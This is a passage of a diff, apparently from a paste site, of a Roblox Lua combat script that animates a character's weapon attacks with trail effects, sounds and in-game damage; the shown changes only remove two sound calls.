3495 | end)() | |
3496 | coroutine.wrap(function() | |
3497 | for i = 1,10 do | |
3498 | wait() | |
3499 | Trail.Transparency = Trail.Transparency +0.1 | |
3500 | end end)()end end)() | |
3501 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) | |
3502 | for i=0,1,0.08 do | |
3503 | swait() | |
3504 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3) | |
3505 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
3506 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3507 | Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2) | |
3508 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3509 | - | so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) |
3509 | + | |
3510 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3511 | end | |
3512 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
3513 | so("http://www.roblox.com/asset/?id=477843807",Torso,1,1) | |
3514 | for i=0,1,0.05 do | |
3515 | swait() | |
3516 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
3517 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3) | |
3518 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3519 | Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2) | |
3520 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3521 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3) | |
3522 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3523 | end | |
3524 | --dmgstop() | |
3525 | attack=false | |
3526 | con1:disconnect() | |
3527 | if TrailDeb == true then | |
3528 | TrailDeb = false | |
3529 | end | |
3530 | end | |
3531 | ||
3532 | function attackfour() | |
3533 | attack=true | |
3534 | if TrailDeb == false then | |
3535 | TrailDeb = true | |
3536 | end | |
3537 | ||
3538 | ||
3539 | coroutine.wrap(function() | |
3540 | local Old = Handle2.CFrame.p | |
3541 | while wait()do | |
3542 | if not TrailDeb then break end | |
3543 | local New = Handle2.CFrame.p | |
3544 | local Mag =(Old -New).magnitude | |
3545 | local Dis =(Old +New)/2 | |
3546 | local Trail = Instance.new("Part",Character) | |
3547 | Trail.Material = "Neon" | |
3548 | Trail.Anchored = true | |
3549 | Trail.CanCollide = false | |
3550 | Trail.BrickColor = TorsoColor | |
3551 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3552 | Trail.TopSurface = 0 | |
3553 | Trail.BottomSurface = 0 | |
3554 | Trail.formFactor = "Custom" | |
3555 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3556 | local ms = Instance.new("BlockMesh",Trail) | |
3557 | ms.Scale = Vector3.new(1,1,1) | |
3558 | local TM = Instance.new("CylinderMesh",Trail) | |
3559 | TM.Scale = Vector3.new(1,1,1) | |
3560 | Old = New | |
3561 | coroutine.wrap(function() | |
3562 | for i = 1,0,-0.1 do | |
3563 | wait() | |
3564 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3565 | end | |
3566 | Trail:remove() | |
3567 | end)() | |
3568 | coroutine.wrap(function() | |
3569 | for i = 1,10 do | |
3570 | wait() | |
3571 | Trail.Transparency = Trail.Transparency +0.1 | |
3572 | end end)()end end)() | |
3573 | coroutine.wrap(function() | |
3574 | local Old = Handle.CFrame.p | |
3575 | while wait()do | |
3576 | if not TrailDeb then break end | |
3577 | local New = Handle.CFrame.p | |
3578 | local Mag =(Old -New).magnitude | |
3579 | local Dis =(Old +New)/2 | |
3580 | local Trail = Instance.new("Part",Character) | |
3581 | Trail.Material = "Neon" | |
3582 | Trail.Anchored = true | |
3583 | Trail.CanCollide = false | |
3584 | Trail.BrickColor = TorsoColor | |
3585 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3586 | Trail.TopSurface = 0 | |
3587 | Trail.BottomSurface = 0 | |
3588 | Trail.formFactor = "Custom" | |
3589 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3590 | local ms = Instance.new("BlockMesh",Trail) | |
3591 | ms.Scale = Vector3.new(1,1,1) | |
3592 | local TM = Instance.new("CylinderMesh",Trail) | |
3593 | TM.Scale = Vector3.new(1,1,1) | |
3594 | Old = New | |
3595 | coroutine.wrap(function() | |
3596 | for i = 1,0,-0.1 do | |
3597 | wait() | |
3598 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3599 | end | |
3600 | Trail:remove() | |
3601 | end)() | |
3602 | coroutine.wrap(function() | |
3603 | for i = 1,10 do | |
3604 | wait() | |
3605 | Trail.Transparency = Trail.Transparency +0.1 | |
3606 | end end)()end end)() | |
3607 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3608 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3609 | for i=0,1,0.08 do | |
3610 | swait() | |
3611 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3612 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3613 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3614 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3615 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3616 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3617 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3618 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3619 | end | |
3620 | - | so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) |
3620 | + | |
3621 | anim.Disabled=true | |
3622 | end | |
3623 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) | |
3624 | so("http://www.roblox.com/asset/?id=477843807",Torso,1,1) | |
3625 | for i=0,1,0.04 do | |
3626 | swait() | |
3627 | Torso.Velocity=RootPart.CFrame.lookVector*50 | |
3628 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3) | |
3629 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3630 | Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3631 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3632 | RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3633 | LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3634 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3635 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3636 | end | |
3637 | --dmgstop() | |
3638 | attack=false | |
3639 | con1:disconnect() | |
3640 | con2:disconnect() | |
3641 | if anim then | |
3642 | anim.Disabled=false | |
3643 | end | |
3644 | if TrailDeb == true then | |
3645 | TrailDeb = false | |
3646 | end | |
3647 | end | |
3648 | ||
3649 | function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2) | |
3650 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3651 | prt.Anchored = true | |
3652 | prt.CFrame = cframe | |
3653 | local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1)) | |
3654 | coroutine.resume(coroutine.create(function() | |
3655 | for i = 0, 1, 0.05 do | |
3656 | wait() | |
3657 | prt.Transparency = i | |
3658 | msh.Scale = msh.Scale + vt(x2, y2, z2) | |
3659 | end | |
3660 | prt.Parent = nil | |
3661 | end)) | |
3662 | end | |
3663 | ||
3664 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
3665 | for _, c in pairs(workspace:children()) do | |
3666 | local hum = c:findFirstChild("Humanoid") | |
3667 | if hum ~= nil then | |
3668 | local head = c:findFirstChild("Torso") | |
3669 | if head ~= nil then | |
3670 | local targ = head.Position - Part.Position | |
3671 | local mag = targ.magnitude | |
3672 | if mag <= magni and c.Name ~= Player.Name then | |
3673 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
3674 | end | |
3675 | end | |
3676 | end | |
3677 | end | |
3678 | end | |
3679 | ||
3680 | function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) | |
3681 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3682 | prt.Anchored = true | |
3683 | prt.CFrame = cframe | |
3684 | local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1)) | |
3685 | game:GetService("Debris"):AddItem(prt, 2) | |
3686 | coroutine.resume(coroutine.create(function(Part, Mesh) | |
3687 | for i = 0, 1, delay do | |
3688 | swait() | |
3689 | Part.CFrame = Part.CFrame | |
3690 | Part.Transparency = i | |
3691 | Mesh.Scale = Mesh.Scale + vt(x3, y3, z3) | |
3692 | end | |
3693 | Part.Parent = nil | |
3694 | end), prt, msh) | |
3695 | end | |
3696 | ||
3697 | function MagicJump() | |
3698 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
3699 | attack=true | |
3700 | mana=mana-25 | |
3701 | --[[ Humanoid.WalkSpeed = 0 | |
3702 | for i=0,1,0.01 do | |
3703 | swait() | |
3704 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1) | |
3705 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1) | |
3706 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
3707 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1) | |
3708 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1) | |
3709 | RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1) | |
3710 | LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1) | |
3711 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1) | |
3712 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1) | |
3713 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1) | |
3714 | end]]-- | |
3715 | Humanoid.Jump = true | |
3716 | Torso.Velocity = vt(0, 150, 0) | |
3717 | Humanoid.WalkSpeed = 64 | |
3718 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3719 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3720 | for i=0,1,0.05 do | |
3721 | swait() | |
3722 | Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3) | |
3723 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3724 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3) | |
3725 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3726 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
3727 | RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
3728 | LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
3729 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
3730 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2) | |
3731 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2) | |
3732 | end | |
3733 | for i=0,1,0.02 do | |
3734 | swait() | |
3735 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
3736 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3737 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
3738 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
3739 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3740 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
3741 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3742 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
3743 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
3744 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3745 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3746 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3747 | end | |
3748 | Humanoid.WalkSpeed = 0 | |
3749 | swait(8) | |
3750 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3751 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3752 | local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character) | |
3753 | if hit~=nil then | |
3754 | swait(2) | |
3755 | local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt()) | |
3756 | ref.Anchored=true | |
3757 | ref.CFrame=cf(pos) | |
3758 | game:GetService("Debris"):AddItem(ref,3) | |
3759 | for i=1,10 do | |
3760 | local Col=BrickColor.new("Really black") | |
3761 | local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3762 | groundpart.Anchored=true | |
3763 | groundpart.CanCollide=false | |
3764 | groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3765 | local Col2=TorsoColor | |
3766 | local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3767 | groundpart2.Anchored=true | |
3768 | groundpart2.CanCollide=false | |
3769 | groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3770 | game:GetService("Debris"):AddItem(groundpart,5) | |
3771 | game:GetService("Debris"):AddItem(groundpart2,5) | |
3772 | end | |
3773 | BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4) | |
3774 | BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2) | |
3775 | MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05) | |
3776 | MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05) | |
3777 | for i=0,1,0.06 do | |
3778 | swait() | |
3779 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3) | |
3780 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3781 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3) | |
3782 | RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3) | |
3783 | LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3) | |
3784 | RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3785 | LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3786 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3787 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3788 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3789 | end | |
3790 | end | |
3791 | swait(20) | |
3792 | Humanoid.WalkSpeed = 12 | |
3793 | --dmgstop() | |
3794 | attack=false | |
3795 | end | |
3796 | end | |
3797 | ||
3798 | function Spin() | |
3799 | attack=true | |
3800 | mana=mana-40 | |
3801 | if TrailDeb == false then | |
3802 | TrailDeb = true | |
3803 | end | |
3804 | ||
3805 | coroutine.wrap(function() | |
3806 | local Old = Handle2.CFrame.p | |
3807 | while wait()do | |
3808 | if not TrailDeb then break end | |
3809 | local New = Handle2.CFrame.p | |
3810 | local Mag =(Old -New).magnitude | |
3811 | local Dis =(Old +New)/2 | |
3812 | local Trail = Instance.new("Part",Character) | |
3813 | Trail.Material = "Neon" | |
3814 | Trail.Anchored = true | |
3815 | Trail.CanCollide = false | |
3816 | Trail.BrickColor = TorsoColor | |
3817 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3818 | Trail.TopSurface = 0 | |
3819 | Trail.BottomSurface = 0 | |
3820 | Trail.formFactor = "Custom" | |
3821 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3822 | local ms = Instance.new("BlockMesh",Trail) | |
3823 | ms.Scale = Vector3.new(1,1,1) | |
3824 | local TM = Instance.new("CylinderMesh",Trail) | |
3825 | TM.Scale = Vector3.new(1,1,1) | |
3826 | Old = New | |
3827 | coroutine.wrap(function() | |
3828 | for i = 1,0,-0.1 do | |
3829 | wait() | |
3830 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3831 | end | |
3832 | Trail:remove() | |
3833 | end)() | |
3834 | coroutine.wrap(function() | |
3835 | for i = 1,10 do | |
3836 | wait() | |
3837 | Trail.Transparency = Trail.Transparency +0.1 | |
3838 | end end)()end end)() | |
3839 | coroutine.wrap(function() | |
3840 | local Old = Handle.CFrame.p | |
3841 | while wait()do | |
3842 | if not TrailDeb then break end | |
3843 | local New = Handle.CFrame.p | |
3844 | local Mag =(Old -New).magnitude | |
3845 | local Dis =(Old +New)/2 | |
3846 | local Trail = Instance.new("Part",Character) | |
3847 | Trail.Material = "Neon" | |
3848 | Trail.Anchored = true | |
3849 | Trail.CanCollide = false | |
3850 | Trail.BrickColor = TorsoColor | |
3851 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3852 | Trail.TopSurface = 0 | |
3853 | Trail.BottomSurface = 0 | |
3854 | Trail.formFactor = "Custom" | |
3855 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3856 | local ms = Instance.new("BlockMesh",Trail) | |
3857 | ms.Scale = Vector3.new(1,1,1) | |
3858 | local TM = Instance.new("CylinderMesh",Trail) | |
3859 | TM.Scale = Vector3.new(1,1,1) | |
3860 | Old = New | |
3861 | coroutine.wrap(function() | |
3862 | for i = 1,0,-0.1 do | |
3863 | wait() | |
3864 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3865 | end | |
3866 | Trail:remove() | |
3867 | end)() | |
3868 | coroutine.wrap(function() | |
3869 | for i = 1,10 do | |
3870 | wait() | |
3871 | Trail.Transparency = Trail.Transparency +0.1 | |
3872 | end end)()end end)() | |
3873 | Footsteps:Stop() | |
3874 | Footsteps2:Stop() | |
3875 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3876 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3877 | so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) | |
3878 | for i=0,1,0.1 do | |
3879 | swait() | |
3880 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3881 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3882 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3883 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3884 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3885 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3886 | end | |
3887 | if anim then | |
3888 | anim.Disabled=true | |
3889 | end | |
3890 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3891 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3892 | for i=0,1,0.05 do | |
3893 | swait() | |
3894 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3895 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3896 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3897 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3898 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3899 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3900 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3901 | end | |
3902 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3903 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3904 | for i=0,1,0.05 do | |
3905 | swait() | |
3906 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3907 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3908 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3909 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3910 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3911 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3912 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3913 | end | |
3914 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3915 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3916 | for i=0,1,0.05 do | |
3917 | swait() | |
3918 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3919 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3920 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3921 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3922 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3923 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3924 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3925 | end | |
3926 | --dmgstop() | |
3927 | Humanoid.WalkSpeed=12 | |
3928 | attack=false | |
3929 | con1:disconnect() | |
3930 | con2:disconnect() | |
3931 | if anim then | |
3932 | anim.Disabled=false | |
3933 | end | |
3934 | if TrailDeb == true then | |
3935 | TrailDeb = false | |
3936 | end | |
3937 | end | |
3938 | ||
3939 | function Twirl() | |
3940 | mana=mana-50 | |
3941 | attack=true | |
3942 | if TrailDeb == false then | |
3943 | TrailDeb = true | |
3944 | end | |
3945 | ||
3946 | ||
3947 | coroutine.wrap(function() | |
3948 | local Old = Handle2.CFrame.p | |
3949 | while wait()do | |
3950 | if not TrailDeb then break end | |
3951 | local New = Handle2.CFrame.p | |
3952 | local Mag =(Old -New).magnitude | |
3953 | local Dis =(Old +New)/2 | |
3954 | local Trail = Instance.new("Part",Character) | |
3955 | Trail.Material = "Neon" | |
3956 | Trail.Anchored = true | |
3957 | Trail.CanCollide = false | |
3958 | Trail.BrickColor = TorsoColor | |
3959 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3960 | Trail.TopSurface = 0 | |
3961 | Trail.BottomSurface = 0 | |
3962 | Trail.formFactor = "Custom" | |
3963 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3964 | local ms = Instance.new("BlockMesh",Trail) | |
3965 | ms.Scale = Vector3.new(1,1,1) | |
3966 | local TM = Instance.new("CylinderMesh",Trail) | |
3967 | TM.Scale = Vector3.new(1,1,1) | |
3968 | Old = New | |
3969 | coroutine.wrap(function() | |
3970 | for i = 1,0,-0.1 do | |
3971 | wait() | |
3972 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3973 | end | |
3974 | Trail:remove() | |
3975 | end)() | |
3976 | coroutine.wrap(function() | |
3977 | for i = 1,10 do | |
3978 | wait() | |
3979 | Trail.Transparency = Trail.Transparency +0.1 | |
3980 | end end)()end end)() | |
3981 | coroutine.wrap(function() | |
3982 | local Old = Handle.CFrame.p | |
3983 | while wait()do | |
3984 | if not TrailDeb then break end | |
3985 | local New = Handle.CFrame.p | |
3986 | local Mag =(Old -New).magnitude | |
3987 | local Dis =(Old +New)/2 | |
3988 | local Trail = Instance.new("Part",Character) | |
3989 | Trail.Material = "Neon" | |
3990 | Trail.Anchored = true | |
3991 | Trail.CanCollide = false | |
3992 | Trail.BrickColor = TorsoColor | |
3993 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3994 | Trail.TopSurface = 0 | |
3995 | Trail.BottomSurface = 0 | |
3996 | Trail.formFactor = "Custom" | |
3997 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3998 | local ms = Instance.new("BlockMesh",Trail) | |
3999 | ms.Scale = Vector3.new(1,1,1) | |
